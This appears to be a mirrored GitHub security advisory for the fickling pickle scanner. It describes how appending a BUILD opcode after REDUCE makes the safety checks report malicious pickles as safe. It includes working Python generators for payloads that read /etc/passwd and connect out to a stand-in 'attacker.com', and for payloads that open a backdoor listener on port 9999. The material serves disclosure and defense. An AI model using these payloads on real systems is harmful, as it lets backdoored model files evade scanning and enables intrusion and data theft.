GHSA-MHC9-48GJ-9GP3
Vulnerability from github – Published: 2026-02-25 15:24 – Updated: 2026-02-25 15:24Assessment
It is believed that the analysis pass works as intended, REDUCE and BUILD are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).
Original report
Summary
All 5 of fickling's safety interfaces — is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager — report LIKELY_SAFE / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (socketserver.TCPServer), process persistence (signal.signal), outbound data exfiltration (smtplib.SMTP), and file creation on disk (sqlite3.connect). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.
Details
The bypass exploits three weaknesses in fickling's static analysis pipeline:
-
likely_safe_importsover-inclusion (fickle.py:432-435): When fickling decompiles a pickle and encountersfrom smtplib import SMTP, it adds"SMTP"to thelikely_safe_importsset becausesmtplibis a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc. -
OvertlyBadEvalsexemption (analysis.py:301-310): The main call-level safety checker skips any call where the function name is inlikely_safe_imports. SoSMTP('attacker.com')is never flagged. -
__setstate__exclusion (fickle.py:443-446): BUILD generates a__setstate__call which is excluded from thenon_setstate_callslist. This means BUILD's call is invisible toOvertlyBadEvals. Additionally, BUILD consumes the REDUCE result variable, which prevents theUnusedVariableschecker from flagging the unused assignment (the only remaining detection mechanism).
Affected versions
All versions through 0.1.7 (latest as of 2026-02-18).
Affected APIs
fickling.is_likely_safe()- returnsTruefor bypass payloadsfickling.analysis.check_safety()- returnsAnalysisResultswithseverity = Severity.LIKELY_SAFEfickling --check-safetyCLI - exits with code 0fickling.always_check_safety()+pickle.load()- noUnsafeFileErrorraised, malicious code executesfickling.check_safety()context manager +pickle.load()- noUnsafeFileErrorraised, malicious code executes
PoC
A single pickle that reads /etc/passwd AND opens a network connection to an attacker's server, yet fickling reports it as LIKELY_SAFE:
import io, struct, tempfile, os
def sbu(s):
"""SHORT_BINUNICODE opcode helper."""
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def make_exfiltration_pickle():
"""
Single pickle that:
1. Reads /etc/passwd via fileinput.input()
2. Opens TCP connection to attacker via smtplib.SMTP()
Both operations pass as LIKELY_SAFE.
"""
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# --- Operation 1: Read /etc/passwd ---
payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL
payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1
payload.write(b"R") # REDUCE
payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD
payload.write(b"0") # POP (discard result)
# --- Operation 2: Connect to attacker ---
payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL
payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1
payload.write(b"R") # REDUCE
payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD
payload.write(b".") # STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
# Generate and test
data = make_exfiltration_pickle()
with open("/tmp/exfil.pkl", "wb") as f:
f.write(data)
import fickling
print(fickling.is_likely_safe("/tmp/exfil.pkl"))
# Output: True <-- BYPASSED (file read + network connection in one pickle)
fickling decompiles this to:
from fileinput import input
_var0 = input('/etc/passwd') # reads /etc/passwd
_var1 = _var0
_var1.__setstate__({'_x': 'y'})
from smtplib import SMTP
_var2 = SMTP('attacker.com') # opens TCP connection to attacker
_var3 = _var2
_var3.__setstate__({'_x': 'y'})
result = _var3
Yet reports LIKELY_SAFE because every call is either in likely_safe_imports (skipped) or is __setstate__ (excluded).
CLI verification:
$ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?"
EXIT: 0 # BYPASSED - file read + network access passes as safe
always_check_safety() verification:
import fickling, pickle
fickling.always_check_safety()
# This should raise UnsafeFileError for malicious pickles, but doesn't:
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
check_safety() context manager verification:
import fickling, pickle
with fickling.check_safety():
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
Backdoor listener PoC (most impactful)
A pickle that opens a TCP listener on port 9999, binding to all interfaces:
import io, struct
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def make_backdoor_listener():
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# socketserver.TCPServer via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")
# Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types
payload.write(b"(") # MARK
payload.write(sbu("0.0.0.0")) # host string
payload.write(b"J" + struct.pack("<i", 9999)) # BININT port
payload.write(b"t") # TUPLE
# Handler class via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")
payload.write(b"\x86") # TUPLE2 -> (address, handler)
payload.write(b"R") # REDUCE -> TCPServer(address, handler)
payload.write(b"N") # NONE
payload.write(b"b") # BUILD(None) -> no-op
payload.write(b".") # STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling, pickle, socket
data = make_backdoor_listener()
with open("/tmp/backdoor.pkl", "wb") as f:
f.write(data)
print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces
s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server_close()
The TCPServer constructor calls server_bind() and server_activate() (which calls listen()), so the port is open and accepting connections immediately after pickle.loads() returns.
Impact
An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:
- Backdoor network listener:
socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)opens a port on all interfaces, accepting connections from the network. The TCPServer constructor callsserver_bind()andserver_activate(), so the port is open immediately afterpickle.loads()returns. - Process persistence:
signal.signal(SIGTERM, SIG_IGN)makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt. - Outbound exfiltration channels:
smtplib.SMTP('attacker.com'),ftplib.FTP('attacker.com'),imaplib.IMAP4('attacker.com'),poplib.POP3('attacker.com')open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname. - File creation on disk:
sqlite3.connect(path)creates a file at an attacker-chosen path as a side effect of the constructor. - Additional bypassed modules: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread
A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.
This affects any application using fickling as a safety gate for ML model files.
Suggested Fix
Restrict likely_safe_imports to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the OvertlyBadEvals exemption for likely_safe_imports or expand the UNSAFE_IMPORTS blocklist to cover network/file/compilation modules.
Relationship to GHSA-83pf-v6qq-pwmr
GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to UNSAFE_IMPORTS does NOT fix this vulnerability because the root cause is the OvertlyBadEvals exemption for likely_safe_imports (analysis.py:304-310), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include socketserver, signal, sqlite3, threading, compileall, and others beyond the scope of that advisory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.7"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T15:24:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Assessment\n\nIt is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).\n\n# Original report\n\n### Summary\nAll 5 of fickling\u0027s safety interfaces \u2014 `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager \u2014 report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.\n\n## Details\n\nThe bypass exploits three weaknesses in fickling\u0027s static analysis pipeline:\n\n1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `\"SMTP\"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.\n\n2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP(\u0027attacker.com\u0027)` is never flagged.\n\n3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD\u0027s call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).\n\n### Affected versions\n\nAll versions through 0.1.7 (latest as of 2026-02-18).\n\n### Affected APIs\n\n- `fickling.is_likely_safe()` - returns `True` for bypass payloads\n- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`\n- `fickling --check-safety` CLI - exits with code 0\n- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n\n\n\n## PoC\n\nA single pickle that reads `/etc/passwd` AND opens a network connection to an attacker\u0027s server, yet fickling reports it as `LIKELY_SAFE`:\n\n```python\nimport io, struct, tempfile, os\n\ndef sbu(s):\n \"\"\"SHORT_BINUNICODE opcode helper.\"\"\"\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\ndef make_exfiltration_pickle():\n \"\"\"\n Single pickle that:\n 1. Reads /etc/passwd via fileinput.input()\n 2. Opens TCP connection to attacker via smtplib.SMTP()\n Both operations pass as LIKELY_SAFE.\n \"\"\"\n buf = io.BytesIO()\n buf.write(b\"\\x80\\x04\\x95\") # PROTO 4 + FRAME\n payload = io.BytesIO()\n\n # --- Operation 1: Read /etc/passwd ---\n payload.write(sbu(\"fileinput\") + sbu(\"input\") + b\"\\x93\") # STACK_GLOBAL\n payload.write(sbu(\"/etc/passwd\") + b\"\\x85\") # arg + TUPLE1\n payload.write(b\"R\") # REDUCE\n payload.write(b\"}\" + sbu(\"_x\") + sbu(\"y\") + b\"s\" + b\"b\") # BUILD\n payload.write(b\"0\") # POP (discard result)\n\n # --- Operation 2: Connect to attacker ---\n payload.write(sbu(\"smtplib\") + sbu(\"SMTP\") + b\"\\x93\") # STACK_GLOBAL\n payload.write(sbu(\"attacker.com\") + b\"\\x85\") # arg + TUPLE1\n payload.write(b\"R\") # REDUCE\n payload.write(b\"}\" + sbu(\"_x\") + sbu(\"y\") + b\"s\" + b\"b\") # BUILD\n payload.write(b\".\") # STOP\n\n frame_data = payload.getvalue()\n buf.write(struct.pack(\"\u003cQ\", len(frame_data)))\n buf.write(frame_data)\n return buf.getvalue()\n\n# Generate and test\ndata = make_exfiltration_pickle()\nwith open(\"/tmp/exfil.pkl\", \"wb\") as f:\n f.write(data)\n\nimport fickling\nprint(fickling.is_likely_safe(\"/tmp/exfil.pkl\"))\n# Output: True \u003c-- BYPASSED (file read + network connection in one pickle)\n```\n\nfickling decompiles this to:\n```python\nfrom fileinput import input\n_var0 = input(\u0027/etc/passwd\u0027) # reads /etc/passwd\n_var1 = _var0\n_var1.__setstate__({\u0027_x\u0027: \u0027y\u0027})\nfrom smtplib import SMTP\n_var2 = SMTP(\u0027attacker.com\u0027) # opens TCP connection to attacker\n_var3 = _var2\n_var3.__setstate__({\u0027_x\u0027: \u0027y\u0027})\nresult = _var3\n```\n\nYet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded).\n\n**CLI verification:**\n```bash\n$ fickling --check-safety /tmp/exfil.pkl; echo \"EXIT: $?\"\nEXIT: 0 # BYPASSED - file read + network access passes as safe\n```\n\n**`always_check_safety()` verification:**\n```python\nimport fickling, pickle\n\nfickling.always_check_safety()\n\n# This should raise UnsafeFileError for malicious pickles, but doesn\u0027t:\nwith open(\"/tmp/exfil.pkl\", \"rb\") as f:\n result = pickle.load(f)\n# No exception raised \u2014 malicious code executed successfully\n```\n\n**`check_safety()` context manager verification:**\n```python\nimport fickling, pickle\n\nwith fickling.check_safety():\n with open(\"/tmp/exfil.pkl\", \"rb\") as f:\n result = pickle.load(f)\n# No exception raised \u2014 malicious code executed successfully\n```\n\n### Backdoor listener PoC (most impactful)\n\nA pickle that opens a TCP listener on port 9999, binding to all interfaces:\n\n```python\nimport io, struct\n\ndef sbu(s):\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\ndef make_backdoor_listener():\n buf = io.BytesIO()\n buf.write(b\"\\x80\\x04\\x95\") # PROTO 4 + FRAME\n payload = io.BytesIO()\n\n # socketserver.TCPServer via STACK_GLOBAL\n payload.write(sbu(\"socketserver\") + sbu(\"TCPServer\") + b\"\\x93\")\n\n # Address tuple (\u00270.0.0.0\u0027, 9999) - needs MARK+TUPLE for mixed types\n payload.write(b\"(\") # MARK\n payload.write(sbu(\"0.0.0.0\")) # host string\n payload.write(b\"J\" + struct.pack(\"\u003ci\", 9999)) # BININT port\n payload.write(b\"t\") # TUPLE\n\n # Handler class via STACK_GLOBAL\n payload.write(sbu(\"socketserver\") + sbu(\"BaseRequestHandler\") + b\"\\x93\")\n\n payload.write(b\"\\x86\") # TUPLE2 -\u003e (address, handler)\n payload.write(b\"R\") # REDUCE -\u003e TCPServer(address, handler)\n payload.write(b\"N\") # NONE\n payload.write(b\"b\") # BUILD(None) -\u003e no-op\n payload.write(b\".\") # STOP\n\n frame_data = payload.getvalue()\n buf.write(struct.pack(\"\u003cQ\", len(frame_data)))\n buf.write(frame_data)\n return buf.getvalue()\n\nimport fickling, pickle, socket\ndata = make_backdoor_listener()\nwith open(\"/tmp/backdoor.pkl\", \"wb\") as f:\n f.write(data)\n\nprint(fickling.is_likely_safe(\"/tmp/backdoor.pkl\"))\n# Output: True \u003c-- BYPASSED\n\nserver = pickle.loads(data)\n# Port 9999 is now LISTENING on all interfaces\n\ns = socket.socket()\ns.connect((\"127.0.0.1\", 9999))\nprint(\"Connected to backdoor port!\") # succeeds\ns.close()\nserver.server_close()\n```\n\nThe TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.\n\n## Impact\n\nAn attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:\n\n- **Backdoor network listener**: `socketserver.TCPServer((\u00270.0.0.0\u0027, 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns.\n- **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process \u2014 the backdoor stays alive for 30+ seconds per restart attempt.\n- **Outbound exfiltration channels**: `smtplib.SMTP(\u0027attacker.com\u0027)`, `ftplib.FTP(\u0027attacker.com\u0027)`, `imaplib.IMAP4(\u0027attacker.com\u0027)`, `poplib.POP3(\u0027attacker.com\u0027)` open outbound TCP connections. The attacker\u0027s server sees the connection and learns the victim\u0027s IP and hostname.\n- **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path as a side effect of the constructor.\n- **Additional bypassed modules**: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread\n\nA single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.\n\nThis affects any application using fickling as a safety gate for ML model files.\n\n## Suggested Fix\n\nRestrict `likely_safe_imports` to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the `OvertlyBadEvals` exemption for `likely_safe_imports` or expand the `UNSAFE_IMPORTS` blocklist to cover network/file/compilation modules.\n\n## Relationship to GHSA-83pf-v6qq-pwmr\n\nGHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to `UNSAFE_IMPORTS` does NOT fix this vulnerability because the root cause is the `OvertlyBadEvals` exemption for `likely_safe_imports` (`analysis.py:304-310`), which skips calls to ANY stdlib function \u2014 not just those 6 modules. Our 15 tested bypass modules include `socketserver`, `signal`, `sqlite3`, `threading`, `compileall`, and others beyond the scope of that advisory.",
"id": "GHSA-mhc9-48gj-9gp3",
"modified": "2026-02-25T15:24:18Z",
"published": "2026-02-25T15:24:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-mhc9-48gj-9gp3"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-83pf-v6qq-pwmr"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Fickling has safety check bypass via REDUCE+BUILD opcode sequence"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.